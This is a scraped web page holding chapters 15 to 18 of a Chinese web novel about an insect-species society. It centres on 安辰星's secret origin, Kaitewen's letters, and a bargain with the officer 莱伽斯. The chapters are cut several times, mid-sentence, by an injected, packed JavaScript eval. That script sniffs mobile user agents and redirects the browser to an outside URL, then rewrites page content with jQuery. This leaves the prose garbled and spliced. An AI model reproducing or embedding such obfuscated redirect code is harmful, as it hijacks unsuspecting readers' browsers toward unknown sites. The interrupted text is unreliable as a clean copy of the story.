l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058249|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的录像，正在确认核实现场状况。 十几秒后，安辰星听见一个冷酷但莫名好听的音色说，“总指已接收，让这名权限者转移到指挥舰来。” ———— 费米德星区，第一娱乐星，月夜殿堂。 距离安辰星和莱伽斯谈判那日已过两天。 “谢谢你，如果有什么我能帮忙的你尽管说。”布鲁对安辰星道谢，他知道安辰星为了自己和莱伽斯达成了一些私密协议。 如今第一总指提供的三亿基金已经到账，他的感激实在无以言表，想了一想又主动提议，“这样吧，你不是有血液收藏研究癖么，昨天抽我60毫升太少了，我再多给你一点……” “足够了，不用这样。”安辰星不在意地摆摆手，又担心布鲁会有什么心理负担，语气轻松地补充道，“布鲁，真不是什么大事，你知道的，雌虫不就那么回事么，你弄一弄他，他立马天昏地暗，什么都答应你了，别说是三个亿，就是让他哭着喊你雄父……” 布鲁表情顿时微妙起来，主要是没想到安辰星会开这么有颜色的玩笑，他最后确认道，“真没吃亏？” “没有，你看我像是吃了亏的样子吗？” 布鲁一想也是，便信了安辰星的说辞，又凑到他耳边小声吐槽，“原来佐·莱伽斯也是那副雌虫德行，平日看他装得挺像那么回事的，果然特级一来，一样被迷得分不清东南西北了。” 莱伽斯少将风评被害，安辰星没有半点心虚，还附和道，“虫不可貌相嘛。” 又听布鲁严肃地说，“不过你还是要小心，这虫身居高位，肚子里的弯弯绕绕不少，指不定哪一天就开始欺负你，等你雄核恢复后一定要频繁多睡他几次，把他彻底睡服了才行，不然实在难以放心……” 安辰星在心底偷笑，面上却点头称是，“行，我心里有数，你也抓紧做准备，尽早去E86吧。” “知道，我已经买下［行走资格］，一会就去生物总院上核窍纠缠锁，唉，如果你不是不能暴露存在，我真想让你陪着我去。”布鲁笑着说道，他如今的状态比之前有生气了不少。 安辰星为他的变化感到真心喜悦。 这时布鲁伸手摘下自己项间的泪滴状项链，说，“这个你先帮我保管吧，我弄完回来再跟你拿。” 安辰星伸出手掌，任由那条熟悉的项链流入掌心，头一回向原主问道，“这条项链有什么讲究吗？” 布鲁哈哈一笑，“也没什么讲究，是凯特文当初从晶矿上刻下来送我的东西。不过真要说的话，他好像最开始就是靠着研究这类晶矿才成了一名科学权限者。” 安辰星垂眸看着项链若有所思。 15. 逆理为罪 凯特文的虫生可以说是“雄虫误事”。 早年他如果不是因为雄虫关系问题被打击报复，调去参与E86造雄计划，而是能够留下继续研究S63晶矿应用的话，以他的细心和敏锐，或许能有更加了不起的成就。 死后他如果不是因为“雄子”安辰星成为联邦的一级罪虫，那么他在E86溜溜草坪上的安乐坟墓也不会反复被掘。 这一桩桩一件件，还得从安辰星意外得到布鲁的那条泪滴项链和私虫智脑说起。 第一总指在执行E86权限者接应任务过程中，碰到了“亚雌”阶跃不耐受的特殊情况，只能暂且将安辰星转移到了指挥舰。 一路上，安辰星偏向阁下的长相也引起了一些讨论，但并不多，因为军雌对联邦权限者还是会有所收敛，不敢随意冒犯。 安辰星原以为自己会被带去一间普通休息舱对付过去，没想到竟被带去了中枢控制区。 作为一名科学权限者，他清楚地知道舰群总舰控制区的重要程度，怎么可能随意让别虫进入呢？ 安辰星在舱门外停下脚步，转头看向引路军雌，问，“没弄错吗？” 结果那引路军雌竟是愣了一愣，才别扭地轻咳一声，“没错的……” 这只权限者的声音清清冷冷的，也有点像阁下…… 安辰星自然不知道军雌在想什么，看他如此不对劲，心想该不会是有什么埋伏吧？ 这时舱门开了，迎面是一只金发军雌，有着相当英俊的长相，气场强势而凛然，身上的军装制式和一路上看见的军雌有些许不同。 所以安辰星当即意识到他或许是舰中最高长官。 而这位长官对引路虫一开口，安辰星又马上认出了他的声线，“对着亚雌也能胡思乱想，是苏格兰没给你发接触卡还是你头昏喝了过期安慰剂？” 那引路军雌立即露出惭愧表情，灰溜溜走了。 安辰星这才明白引路虫到底不对劲在哪。 说实话，所谓雄虫长相雄虫声线他是真的没什么概念。 E86特研星是极端流速地带，一切雄虫禁行，所以除了凯特文私藏的几张坎贝尔阁下的照片，安辰星就没见过雄虫。 况且照片里的坎贝尔阁下也是一位帅气阳光的“男生”，并没有半分女性化的特征，他怎么分辨？ 金发长官说，“进来吧，我有事情确认。” 安辰星跟着他进指挥舱。 舱内还有一名红发长官，此时正在准备第二次阶跃指令。 “我，佐·莱伽斯，少将级，第一总指第一权限。” “您好，我是安辰星，［科技］、［文明］双权限者。”安辰星脸上微笑客气，心想装逼谁不会。 然而寒暄就到这里了，莱伽斯少将直接问道，“你就是那名唯一留存下来的造虫吗？” 安辰星当场警铃拉响，一双漂亮异色眼直视着雌虫没说话。 联邦主星断不会向军队公开自己的真实身份，他是怎么知道的？ 莱伽斯瞧见造虫的反应，心里猜出了一个大概，便从上衣口袋掏出了两样东西递给安辰星。 一个是装饰项链，一个是智脑。 安辰星一眼扫过没有动手去接，“长官，您这什么意思？” “阁下布鲁的东西。” 安辰星一顿，没料到会突然从军官口中听到这个名字，不由确认一遍，“布鲁·坎贝尔？” 莱伽斯点头。 安辰星眸底流过讶异，难道那位阁下真的念着凯特文？ 他迟疑了一下，将物品接了过来，可为什么又会有智脑呢？ 安辰星点开智脑，发现智脑已经是无密码模式。再点开消息栏，有两千多条来自凯特文的信息，都是一个多小时前才接收成功的。 E86禁止开放娱乐纠缠网，而内部纠缠网又不被允许拿来私用。所以凯特文这历时260多年的2000多条寒碜信息只能陆陆续续通过E86区域网发出。 于是，也就是不久前，直到坎贝尔阁下的智脑进入了E86区域网的辐射范围才终于一次性将信息接收完毕。 安辰星对凯特文的痴情或者说痴汉行为已经有所免疫，所以没什么表情。 或许当初凯特文发出这些消息的时候就已经做好了永远不被接收的觉悟。 安辰星用指尖点开最新的几条消息。 因为这几条消息显示了已读，说明长官是看过的，他需要确认长官到底获取了哪些情报，里边是否又有关于他造虫身份的信息。 【坎贝尔，我深感自己已经时日无多，唯有您和辰星最是让我放心不下。您是我永远的思念，他是我绝望的寄托。】 【我本来是想撑下去，亲口告诉您这些，但大概是来不及了，请您怜惜。 辰星他自幼聪颖机智，思维活络，他对所有的知识触类旁通，深受大伙的喜爱。可另一方面，他淡漠无言，心思孤寂，从来不真正亲近谁，包括我。 而他越是这样，我就越是担心。】 【造雄计划的最大难度在于培育体雄核的孕育和意识的萌芽。 实验中，往往只要培育体雄核一开始孕育就会不可避免地连带着整个脆弱的机体衰竭死亡，无法阻止。】 【在经过多轮失败之后，我们33号基地决定尝试一种新的培育方式，那就是先萌芽意识再孕育雄核。 然后我们发现，没有雄核的培育体即便是有生命体征也无法苏醒。 又是几轮的失败后，我们资讯了其他基地的几位生物权限者，他们一致否定了这个思路，生物界认为雄核是雄虫萌芽意识的前提，就如同雌纹是雌虫萌芽意识的前提一般。 对不起，坎贝尔，尽是和您说这些无聊的话，但这很重要，请您怜惜。】 【我们基地重新吸取教训，开始探求一种能够控制雄核孕育程度的方式，我们的构想是，如果将雄核孕育程度维持在一个不至于让机体衰竭，又能激发意识的萌芽极低的水平…… 然而又是好几轮的失败，或许我们的思路是正确的，但在现有技术上很难达到。 雄核只要一开始孕育就根本停不下来，若是不孕育就根本不会有意识萌芽，两难。】 【或许您已经猜到了，辰星就是一个奇迹，所有虫都这么认为，尤其是我们33号基地的。 只是他们不知道，那夜轮班我独自终检时到底确认到了什么。】 【我永远忘不了那一夜就如同我永远忘不了许多年前看见您的第一眼。 和辰星同批次的造虫共计五只，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058250|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天我先是检测他们雄核的孕育情况，当然，因为基地的培育策略，他们都没有孕育雄核。 出于保险，我又检查了他们的能量总值，果不其然，是意识缺失，还是完全意识缺失。】 【意识没有维度和实体，但具有能量，可以通过能量场观察。 完整的、具备和外界产生联系的意识含有很大的能量，即便是最新生的完整意识，萌芽也需要花费至少两个半月的时间。 而本批次造虫雄核没有孕育，意识也完全缺失，可以肯定是彻底失败了。 失败是常有的事，当时的我很平常就接受了这个结果。 之后又过了三个星期，E86计划忽然被联邦叫停。 我开始期待返回主星与您相见。】 【然后辰星就醒了，并且神志清醒。 只有我知道，那是不可能的。 奇迹也不可能。 虫族三理第二条：意识唯一，不具维度，不可转移。 可那是错的，意识居然可以转移！ 辰星［逆理］了！［逆理］为罪！】 【坎贝尔阁下，辰星由我养大，我太清楚他是什么性情，他孤独又善良，温和又包容，他不是罪虫，决不能因为［逆理］而被联邦铲除！ 如果您能接收到我的信息，请您收留辰星，爱护辰星，并保守他的秘密。 请您怜惜。 爱您的凯特文。】 安辰星无声关闭智脑，闭上眼掩去了情绪。 凯特文，你既然知道我是外来意识，为什么不告诉我。 凯特文，你既然想要保守我的秘密，能不能不要先说出来，然后再让其他虫保守。 凯特文，你可知道你的一片赤诚，反而让我陷入了如此被动的局面。 安辰星冷静地睁开眼，看向金发少将佐·莱伽斯，同时把智脑和项链收入口袋，“感谢您的转交，我便替雌父收下了，改日若是有机会，一定亲自向坎贝尔阁下问安。” 长官听罢沉默了两秒，声音听不太出情绪，“阁下布鲁已经离世。” “什么？”安辰星怔住，随即明白过来为什么信物会是智脑这等特殊产品。 长官说，“由于服用禁药造成精神域和核窍的衰竭坏死，最后抢救无效身亡。” 安辰星敛眉，细细一想发现哪哪都不合理，“坎贝尔阁下高至A级，为什么会服用禁药？他的遗物又为什么是由第一总指而不是坎贝尔家族转交？您和坎贝尔阁下处于什么关系？” 莱伽斯少将静默了一会，气氛渐沉。 然后他没有正面回答，而是先说，“阁下布鲁的智脑账户里有十亿贡献点，是他这两年为了买下［行走资格］攒下的。” 安辰星拧起眉，隐隐感到背脊发寒，“他服用禁药，和这个事有关系？” 莱伽斯点头，没有隐瞒，“我和他做的交易。” 安辰星反射性攥紧拳头，他的手在发抖，心跳在加快，那是由怒意引起的。 可他又无比理智，眼前的虫知道自己［逆理］，自己不能惹了对方。 但是安辰星觉得自己也并非完全理智，因为他听见自己冷怒的声线。 “你真是虫渣。” 这便是安辰星和莱伽斯的初次见面。 16. 黑星雄虫 安辰星研究虫族社会多年，知道虫族体制冷漠和残忍的地方，也知道其存在的一定合理性。 但说到底，一个无差别给予所有虫高度负担的体制，无论外表看起来再怎么体面光鲜，也只能是这崩坏社会最后的苟延残喘罢了。 雌虫们削破了脑袋去争那少到令虫发指的权限位。只为缓解意识疼痛和精神力暴.乱，只为稀少雄虫的接触机会和信息素。 而雄虫们也没有好多少，他们每天每周每月每年睁开眼，列表永远是接不完的接触任务。他们甚至不被允许碰同等级的雌虫，雄核永远是无休止的超负荷运作。 仿佛天生就是为交.配而生，再为交.配而死。 如果，如果“有幸”成为传说级，那还真是“不幸”。 ———— 圣彼西科首序殿，最顶层。 依旧是那奢华到荒唐的布置。 “佑阁下，用餐时间到了。” 安全部的劳伦生轻轻为金发雄虫取下口塞和束缚衣。 为保证这位阁下的绝对“安全”，这里没有一只智能护理虫，一切全由安全部的雌虫亲自服侍，并伴随有联邦大厦监控组的360度无死角24星时的实时监控。 即便已经如此严密，联邦还是会每过一段时间就调整这些虫员的流动，这是为防某些雌虫在长时间接触阁下后，忍不住动了恻隐之心被阁下策反。 佑雄虫虽然也是金发，但其发泽比雌兄莱伽斯要浅淡一些，更加的感光柔和。此时他没有被解开眼带，却也可以看出他的大半面容来，和雌兄莱伽斯有六七分相近，不过骨架要更小一些，肤色更透一些。 雌虫劳伦生小心地牵着阁下走到餐桌旁坐下，冷不防听见阁下开口说，“我记得你的声音，你是劳伦生·沃兹，原来你还在安全部。” 劳伦生·沃兹闻言心中一紧，既为佑阁下记得自己感到欣喜，又怕监控组借此发难做文章，“是的，佑阁下，我是劳伦生。” 金发雄虫说，“能帮我解开眼带吗？让我看一看你。” 劳伦生当即紧张地咽了口口水，又迟疑半晌，最终惭愧地说，“佑阁下，这不符合规矩……” 雄虫听罢唇线抿直，没再说话，似乎有些难过。 “佑阁下……”劳伦生惶恐。 雄虫才又开口，语气遗憾，“不是怪你，我只是觉得，你为了再一次服侍我，一等就是三年，如果我不看看你，那太可惜了。” “阁下……”劳伦生目光痴痴地看向阁下，当初家族安排他进安全部原本只是想作为一个跳板，可他压根就没想到首序殿里居然有一位传说级阁下，更没想到自己陷进去就出不来了，“我一直……” 然而还没等他把话说出口，戴着的耳麦就传来了联邦监视组的厉声呵斥，“劳伦生·沃兹！请你注意说话尺度！予以警告一次！” 佑被剥夺视力太久，耳朵异常灵敏，也听见了监视组的警告，说，“罢了，我们聊点别的，前两天我感觉楼底隐约有些吵闹，是发生什么事了吗，跟我说说。” 就是这看似随意的提问，才是佑铺垫了这么久真正想知道的。 只听劳伦生乖顺地答应，“好的阁下。” 他一边动筷夹起盘内精细的佳肴喂到阁下的嘴边，一边慢慢谈起最近的事情，“是前天晚上莫尔阁下的宠物屋不小心着了火，丢失了很多的宠物……” 着火？哦……这样啊…… 佑神色不变，悠悠张口咬下唇边的食物。 劳伦生还在讲，“莫尔阁下知道后非常生气，那天负责照看宠物屋的雌虫全都被生生拔去了头发……” 佑轻皱眉梢，脑中联想的画面让他有些反胃，“莫尔是去年登上的圣彼西科首席位？” 劳伦生微愣，诚实答道，“是。” 佑咽下口中的食物，冷淡地说，“他不配，让他下来吧，再多给他找些接触对象，这个事情我还是可以做主的吧？联邦第二序。” 劳伦生听到后面才明白过来佑阁下是在和别虫说话，正要开口说些什么，就听见耳麦穿来一阵无意义的杂音，然后是一个陌生雌虫带笑的声音，“当然，最尊贵的佑阁下。” ———— 费米德星区，第一娱乐星，月夜殿堂。 一楼宴会大厅。 “天啊！竟然是我的阿骨怪！辰星谢谢你！我真是太高兴了！你找的帮手怎么那么厉害？居然能将阿骨怪从那个特等魔鬼的手中讨回来！”娇小音里一脸惊喜地抱起礼物箱内那只可爱的异眼阿骨怪。 安辰星唇角微笑，说，“你喜欢就好。” 兴奋的音里把阿骨怪放在自己的膝盖上，又去开璃拉送的礼物，里面有几本纸质书籍，“诶？是什么让我看看……《最保护雄核的108式》、《接触其实很简单》、《高效率接触看这本就够了》……确实是够了……呜呜呜……” 银发璃拉优雅依旧，“我这是为你好。” 音里开始哭丧起小脸，“其实适龄日才不是什么值得纪念的日子，那意味着我无忧无虑的生活彻底告终……” 这时布鲁走近音里，拿过他手上的书放回礼物盒，说，“看看我的。” 音里恹恹点头，转而去拆布鲁的礼物，然后大吃一惊，“这……这是？” 布鲁解释，“科学院刚出台不久的私虫纠缠仪，一组两个，可以跨星区发送少量信息，原理和纠缠网类似，但只能一对一通讯。” 音里不解地看他，问，“可你送我这个干什么？” “明天一早，第一总指的军舰将出发去极端流速地带，我会同行。” 音里和璃拉闻言神色各异。 ［极端流速地带］严令雄虫禁行，怎么同行？ 安辰星插话补充，“布鲁已经买下［行走资格］，［纠缠锁］也上好了。” “对，之前一直瞒着是我不好，你们听我说……”布鲁终于借着这个最后时机，把自己的事情，包括曾是坎贝尔家族的虫以及和凯特文的坎坷恋情都说了出来。 等他说完，整个纪念宴会如无虫一般寂静。 直到其中一只虫忽然激动出声，“你！布鲁·坎贝尔？坎贝尔家族？你竟然是一只家族雄虫！” 布鲁本以为最难以接受的虫会是“懒惰”的音里，但没想到实际竟是璃拉的反应最大！ 璃拉银色的长发如雪如瀑，衬得他激愤的神情更加生动真实，“为什么？为什么？你知不知道有多少虫想像你一样？你知不知道你放弃了什么？那是唾手可得的一切！那是不费吹灰之力的地位！你是精神域出了什么问题？居然为了一个微不足道的贱虫，自甘堕落去碰更多令虫作呕的贱虫！一轮又一轮！一天又一天！” 他的言辞低俗无礼到布鲁和音里纷纷宕机。 璃拉这虫平时最讲究贵气文雅，谈吐打扮也大有文章，他们可是从来没见过他这副模样。 现场唯有安辰星神色平淡，似乎并不意外。 其实一开始听见布鲁要走，音里也是感觉挺委屈的，但璃拉一发作他直接就傻眼了，不知怎么办好，“璃……璃拉……” 可是璃拉根本没理会音里的叫唤，他已经失控，直指布鲁的脸冷嘲热讽，“布鲁·坎贝尔，你会后悔的！你一定会后悔的！用不了多久你就会回归主星家族，我等着看你的好戏！” 再怎么说都太冒犯了。 布鲁眉头皱起，他凝视着璃拉疑似愤怒的视线，瞬间就联想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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认识这么久直到现在才知道，璃拉的精神状态竟如此偏激极端。 璃拉还沉浸在自己的情绪中，他突然猛地看向音里，一把冲过去抓住他的胳膊，“音里！雌虫都是放荡下贱的烂货对不对！你总是任务不达标，一定也这么觉得的对不对！” “我……我……”音里吓得脸色白白，心惊胆颤，手中饮料都掉到了地上，“我……” 布鲁见状快速走过来按住璃拉，厉声道，“放开音里！你看看你现在成了什么样子！” 什么……样子？璃拉忽然猛地回过神来，迅速松开了抓紧音里的手，又狠狠甩开了布鲁的手，双手颤颤巍巍地摸向自己的脸庞。 他摸到了自己狰狞的轮廓。 他再次崩溃了，在原地缓缓蹲下，脸低埋在双膝上，不住地发抖着抽泣着，长长的美丽银发顷刻在地上摊开。 娇小音里低头看着璃拉颤抖的身躯，不知道好好的纪念宴会为什么会发展成这样。 他认真想了一想，同样在璃拉面前蹲下，柔声说出自己的想法，“我……我觉得布鲁这样其实挺好的，虽然咱们可能会变得有些寂寞，但至少他快乐了呀……你不是说我们雄虫要让自己过得好点吗，他一定会过得好的……” “嗯……我知道……”璃拉没有抬头，声音闷在里面，带着深深的自责，“我就是……嫉妒了，嫉妒他以前是万中无一的家族雄虫，现在又能和爱虫双宿双飞……” 他哽咽出声，“而我生来……什么都没有……” 默默将这一切收入眼底，安辰星把喝完的饮料扔进回收箱。 璃拉啊璃拉，这一世我又该如何抚平你心中的黑星创伤呢？ 17. 晶矿星球 璃拉·亚玛是安辰星最了解的虫之一，也是安辰星最敬佩的虫之一。 更是安辰星最心疼的虫之一。 璃拉·亚玛自淤泥爬出，受尽凌虐饱尝苦楚，无尽的绝望撑起他极度的不甘，仇恨与伪装成为他自强不息的底色。 从最初的偏远黑星，到普通星区仙儿码，再到顶级星区费米德，璃拉·亚玛每靠着谄媚与顺从登上一个台阶，便会回头狠狠报复那些曾给他带去过伤害的仇虫，以悼念自己那令虫作呕的曾经。 可璃拉·亚玛又将过往藏得很深。 就连第一总指都以为他只是一只仙儿码出身并坐阵仙儿码，后来又意外突破高等的稀有也平常的雄虫。 而安辰星得知璃拉的全部经历已经是很后面的事情了，还是由璃拉一条一条亲口告诉他的。 所以安辰星深深地明白并理解，这只雄虫执着于提升地位，执着于弘扬姓氏，本质上所求的，不过是为了能够自由随心地把握自己的虫生罢了。 安辰星曾经想过帮他，也出手帮了他。 却阴差阳错的。 成了他最深的执念。 ———— 第一总指明天将从费米德出发，所以今夜全军都歇在了这里。 安辰星趁着这个机会，又一次用智脑将莱伽斯约到屋里。 此时的金发少将对他的态度已经大有不同，但也并不热络，只是从不对等的主从模式，转为了如今公事公办的谈判模式，“什么事？” 安辰星却是抬眸认真地打量他一番，随即微微皱眉，“你是飞过来的？上一次使用接触卡或者服用安慰剂是什么时候?” 莱伽斯有些冷淡，“不劳费心。” 行吧，至少短期内应该是没什么问题的。安辰星心想，才说起正题，“我有新的交易要跟你谈。” 莱伽斯似乎站得直了一些，“你说。” 真是贪婪又诚实。安辰星眼睛眯起，缓缓开口道，“我掌握［多次连续阶跃技术］，顾名思义，就是无需舰队进行反复地校对和自检，就能直接做到连续空间阶跃，而且单次的阶跃用时也比原先缩短九成。” 莱伽斯琥珀色瞳孔骤然紧缩，即便是有所准备，但雄虫的发言还是惊住了他。 连续阶跃？闻所未闻。 那是连联邦都没有的技术，公开部分的遗失纪信息中也从未有过相关记载。 所以少将很干脆就买账了，“需要我做什么？” 安辰星打了一个响指，然后从床铺上站起，走到书桌前坐下，同时他拿起本子和硬笔，留给雌虫半张侧脸。 安辰星刷刷地画下两个三角形，又画了一个把它们包起来的大圈，用笔尖点了点说，“实现连续阶跃技术少不了S63晶矿作为材料，而这类晶矿目前就只在主星带的罗森多星球里被少量发现。” 莱伽斯往前走两步，低头看那本子，发现雄虫画功一般，问，“你想要我夺下它？主星带是联邦的主辖区，不会分给下设部门。” “不，”安辰星开始转笔，神态恣意，“我想说的是，如果没有意外，现在罗森多内还在坚持研究S63晶矿的科学权限者应该只剩下两位，我要你把他们劝入第一总指。” 上一世安辰星得到布鲁那条由S63制成的泪滴项链后，对这类晶矿的物理性质产生了很大的兴趣。 于是在进入科学院不久，他就主动申请去了罗森多星球进行当地研究。 他先是翻阅了权限者们的历史研究记录，发现这类晶矿不仅具有高硬度高稳定性，还同时具备延展性和弹性，十分的不可思议，更重要的是它还符合自拟自合性，也就是不容易变向。 所以在一次会议中安辰星大胆提出了［多次连续阶跃］的跨时代构想，并迅速得到两位前辈权限者的响应和支持。 又因时运不错，不出三个月他们就成功地给一台舰体搭建了［连续阶跃］机能，且试用良好。 靠着这个举世瞩目的科技突破，安辰星和前辈三虫纷纷列入科学总院前三十序，联邦不仅给出大量杰出贡献奖赏额，还慷慨地赠送他们优秀星区以示荣宠。 三虫从此风头无两炙手可热，走上虫生巅峰…… 一旁的莱伽斯客观陈述道，“我可以试试看，不过先提醒你，科学院是全联邦待遇最好的部门之一，里面的虫跳槽率不高。” 安辰星当即翻开新的一页，动笔快速写下一串字符，然后撕下来递给雌虫，“你把这半条公式给他们看，再承诺定期定量给他们发高级安慰剂，他们会答应的。” 莱伽斯把纸接过来，扫了一眼没看懂，便点头收了起来，“行。” “还有第二件事，关于一个坐标星球，我暂且管叫他［远行星］，其位置比主星区要接近星系中部，所以流速要快不少，大概比主星快了3.1倍。这颗星球目前还不被联邦重视，我希望你能提前以不起眼的理由将它接管。” “原因？” 安辰星又熟练地转起笔来，“原因有两个，一是那颗星球有特殊环境，可以持续性产出S63晶矿，对我们后期垄断技术有益。二是我还要你找一只信得过的虫把布鲁和他的情虫秘密转移到那里……对了，有联邦背景的虫不行，包括苏格兰。” 安辰星接着补充，“布鲁的情虫是科学权限者，受联邦的管制和派调，即便能一时留在E86，同样的悲剧也可能再次上演，所以我希望你能直接上报他死亡，再把他和布鲁转移到远行星里，恰好他以前就是研究S63晶矿的，正好也给他找点事情做。” 安辰星又说，“远行星流速快，那边的10年等同于这边的31星年，如果有这么长的时间的话，或许就能赶在布鲁的纠缠锁启动前找出解锁的办法。” 莱伽斯静静地听到最后，没说好也没说不好，只是问，“你究竟是什么虫？有什么目的？” 安辰星动作一顿，笔飞到了地上。 弯腰去捡的时候他轻声说，“我不过是在探索一条活路，一条我们所有虫都能活的活路。” “哪里有危险？” “好像没有，但你在走一条险路，我既然上了你的船，就不能让它沉。” “你知道多少？” “比你预想的要多，但我会帮你，当然，你可以选择不信。” “为什么？” “去休息吧，你今天的问题太多了。对了，把伊洛叫过来一下，我有生理方面的问题要问他，可以的话你且回避。” 若是放在几天前，莱伽斯断然是不会同意的。 但雄虫到现在为止，别说是有什么逃跑的念头，甚至每一个举动和每一条提议都是在跟联邦对着干。 一旦暴露，罪无可赦。 所以，安辰星和第一总指的成败荣辱从此绑定。 莱伽斯转身离开的时候，听见雄虫建议道，“能走的话就别飞了。” ———— 伊洛·杰尼森没想到会被阁下要求见面。 自从知道阁下是传说级，他日日茶不思饭不想，生怕不小心泄露了这个大秘密。 此刻他提着特级医疗箱忐忑地站在门边，不敢贸然踏入，生怕惊扰了阁下。 他抬手轻轻叩门，“安辰星阁下，伊洛·杰尼森来了。” 安辰星本想问问关于自己雄核完全自愈的预期时间，但在瞧见伊洛的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058252|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼时，他就明白过来自己真实的等级已被察觉。 那是敬畏惶恐又向往渴望的目光。 前世他和第一总指四下逃亡，某一天核窍突然孕育雄核，自内向外爆发出浩瀚的顶级精神力场，受到的就是这种目光的洗礼。 “你进来，这里没有其他虫。”安辰星温和地笑笑。 “失礼了。”伊洛轻手轻脚走入卧房，听见安辰星“虚弱”地说，“伊洛，我最近总感觉很疲乏，想让你帮我看看。” 紧张的心情转为一种关切，伊洛慢步接近美丽的阁下，将医疗箱就地置于瓷砖地面，“您是否有哪些部位感到尤其不适？” “心口闷闷的，而且有些事情总也想不明白……”安辰星露出“忧愁”神色。 伊洛闻言心都要化了，他在雄虫面前单膝跪下，“哦，阁下，您不要忧虑，如果您允许，我愿赌上杰尼森姓氏之名誉，为您倾听排忧。” “伊洛，你真体贴……”安辰星“动容”地看着伊洛的脸，异色眼睛宛若有水波流转。 他主动牵起雌虫的手，“脆弱”得让虫不忍拒绝，“我……我大概是想家了，你今晚能留下来陪陪我吗……” 伊洛顿时脸上暴红，心慌意乱，再开口已是吞吞吐吐，“阁……阁下……您，您的核心还未……” “可我等不及了，伊洛……”安辰星用了点力气握紧他，与他凑得越来越近，仿佛就要亲吻下去。 伊洛心跳到完全无法自主呼吸和思考，只能无比羞涩又期待地闭上眼睛。 见此情形，安辰星恶趣味地一笑，换了个方向贴近他的耳侧，轻声问道，“联邦目前应该还无法单纯通过血液样本来断定具体的特等分级，你是怎么知道我是3S的？” 原本伊洛的身体已经开始不由地颤抖发情，而在听了这话后他顿时心跳骤停，惊悚地睁开了双眼。 眼前美丽的阁下骤然松开他的手并与他拉开了距离，脸上也不再是纯情地引诱，而是清醒且理智。 伊洛的神志彻底回归。 是啊……伊洛·杰尼森，怎么可能呢？ 初见时，阁下那拒虫千里的冷漠你都忘了吗？ 他听见阁下声色淡淡地追问自己，“而且你既没告诉联邦，也没告诉第一总指，这又是为什么？” 伊洛不敢因为被戏耍而觉得委屈，反而另一支膝盖也跪下了，这是联邦雌虫完全服从的姿态，“阁下，我只是想您好好的……求，求您怜惜……” 安辰星露出一个轻浅的笑，仿佛施舍般捧起雌虫一侧脸，“你怕什么？我怎么舍得灭口呢？而且你忘了？我现在杀不了虫。” 被阁下触碰，伊洛急喘两声，肤色渐红，“谢……谢谢阁下……” 于是安辰星放开手。 他曾经没少受过这位第一总指最高生物权限者的体贴照顾，对他的品性还是相当放心的。 “我的血样，你最后怎么处理的？” “已经销毁了……” “什么手法？” “先溶解再稀释，最后高温蒸发排空……” “很好。我第一个问题你还没有回答。” 伊洛呼吸紊乱，又控制不住轻喘两下，执掌生物权限的他知道自己已经进入接触渴求时期，但他不敢奢求什么，只能集中精力诚实回答。 “是的……血液检验无法具体测出特等的分级……但是您的血液中含有使用过［特能］的一些反应成分……” 安辰星当场怔住，一条始终处于打结的思绪瞬间通成一线，“你是说，我激发了［特能］？” 那次不合常理的阶跃是因为。 他的［特能］？ 18. 友谊之证 翌日清晨。 不知是谁走漏了消息。 当阁下布鲁提着小小行李箱准备登上指挥舰的时候，费米德星区的绝大多数权限者都走上街头，前来送行。 不少虫哭得泣不成声，“阁下，我爱您啊……呜呜呜……” 有的虫请求怜悯，“阁下，求您回头再看我一眼……” 有的虫想在阁下心中留下自己最好的样子，“阁下我永远不会忘记您，谢谢您曾经的怜惜与慷慨，祝您一路平安，虫神庇佑！” 有的虫撒泼打滚，失去理智，“阁下啊……阁下……没了您我怎么活啊？！呜呜呜……您真的如此狠心吗？呜呜呜……” 此情此景，布鲁也生出一丝动容。于是他不再推拒，接过了苏格兰递来的扩音设备。 他的声音充满感染力，眼中含有希望之光，“各位，我，布鲁，旧姓坎贝尔。现已成为过去，请你们不必怀念，更不用执着！此后生活不停，生命不歇，但求此心无悔！都去尝试追求真正的幸福吧！哪怕再苦再难，哪怕没有虫神赐下眷顾！我与你们共勉！祝好！” 布鲁语毕，抬手摘下自己头顶的帽子大力抛向天空，那帽子划出一道优雅弧线而后缓缓飘落虫群。 “呜呜呜……阁下……” “阁下，我听见了！” “不要抢！我的！靠！” “给我！我来分配！” 虫群混乱一片。 “真壮观，要是我走，肯定没这效果。”一旁的音里感慨地说道。 璃拉一副礼仪微笑，“知道就行，懒鬼。” “哼！” 安辰星犹豫着，终于在最后关头开口，“布鲁。” 布鲁正扶稳舱门，回过头来。 安辰星说，“我想来想去，还是想跟你讨要那条项链，毕竟你应该已经不需要了。” 布鲁有些意外，“可以是可以……但你要这个做什么，这是凯特文送我的……” 然后他忽然一怔，有些不可置信，“你，你该不会是……” 见势头不对，安辰星连忙打断，“没有，他那德行，也就你把他当回事。” 